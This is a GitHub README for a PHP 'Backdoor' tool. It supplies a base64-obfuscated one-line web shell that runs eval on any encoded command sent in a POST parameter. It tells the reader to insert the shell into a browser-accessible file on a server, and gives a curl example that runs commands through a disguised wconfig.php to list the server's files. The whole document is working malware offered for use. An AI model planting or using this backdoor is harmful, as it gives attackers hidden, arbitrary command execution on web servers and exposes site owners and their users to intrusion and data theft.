Skip to content

Latest commit

 

History

History
24 lines (16 loc) · 631 Bytes

README.md

File metadata and controls

24 lines (16 loc) · 631 Bytes
Raw

Backdoor

Install

Insert in document to which you have direct access from the browser, the following code

<?eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWychJ10pKWV4aXQoZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnISddKSkpOw=='))?>

Open backdoor client in the browser to execute any the commands on remote host

Example use for cURL

# cHJpbnRfcihzY2FuZGlyKGRpcm5hbWUoX19GSUxFX18pKSk7 == base64_encode('print_r(scandir(dirname(__FILE__)));')
curl --data "!=cHJpbnRfcihzY2FuZGlyKGRpcm5hbWUoX19GSUxFX18pKSk7" http://example.com/wconfig.php

Return all files in the root dirrectory